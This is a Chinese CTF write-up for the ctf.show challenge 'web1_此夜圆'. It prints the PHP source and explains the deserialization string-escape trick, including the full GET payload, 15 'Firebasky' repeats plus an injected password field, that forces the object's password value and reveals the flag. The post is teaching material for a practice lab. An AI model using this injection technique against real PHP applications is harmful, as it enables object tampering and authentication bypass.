ctf_show:web1_此夜圆 10

下载附件,得到源码

<?php
error_reporting(0);

class a
{
    public $uname;
    public $password;
    public function __construct($uname,$password)
    {
        $this->uname=$uname;
        $this->password=$password;
    }
    public function __wakeup()
    {
            if($this->password==='yu22x')
            {
                include('flag.php');
                echo $flag;    
            }
            else
            {
                echo 'wrong password';
            }
        }
    }

function filter($string){
    return str_replace('Firebasky','Firebaskyup',$string);
}

$uname=$_GET[1];
$password=1;
$ser=filter(serialize(new a($uname,$password)));
$test=unserialize($ser);
?>

考的是php反序列化字符串逃逸

这里get传入参数1,如果password=yu22x,那么反序列化前就会执行__wakeup函数,从而得到flag.php,所以我们就需要构造playload

";s:8:"password";s:5:"yu22x";}的长度为30,所以而每输入一个Firebasky被替换成Firebaskyup,会逃逸2个字符。所以我们输入15个Firebasky就可以逃逸三十个字符

构造如下

?1=FirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebasky";s:8:"password";s:5:"yu22x";}

就可以得到flag

这里记录一下字符串逃逸

1.PHP 在反序列化时,底层代码是以 ; 作为字段的分隔,以 } 作为结尾(字符串除外),并且是根据长度判断内容的 .

2.当长度不对应的时候会出现报错

3.可以反序列化类中不存在的元素

1.过滤后字符变多

如果替换后变多,就会溢出,但是字符被替换后,字符串的长度不会改变,所以我们需要构造playload时,将溢出的字符串补成完整的序列化。就比如这题我们get传参时,传入15个Firebasky但是由于会被替换成Firebaskyup,15个Firebasky字符串长度是135,但是被替换后字符串长度变为165,然而序列化时,该字符长度依然是135,,因此会报错,序列化失败,但是我们如果传参时,传入FirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebasky";s:8:"password";s:5:"yu22x";},刚好165个字符就不会报错。因为传入后进行字符替换后也是165个字符,并且他就会执行我们构造好的";s:8:"password";s:5:"yu22x";}这一部分语句。

2.过滤后字符变少

如果替换后,字符串变少,但是序列化后该变量的长度依然不会改变,但是替换后字符串减少,所以我们可以直接补足所缺,构造playload。这样就会执行我们后面构造的语句。

posted @ 2021-09-26 19:08  微草wd  阅读(138)  评论(0编辑  收藏  举报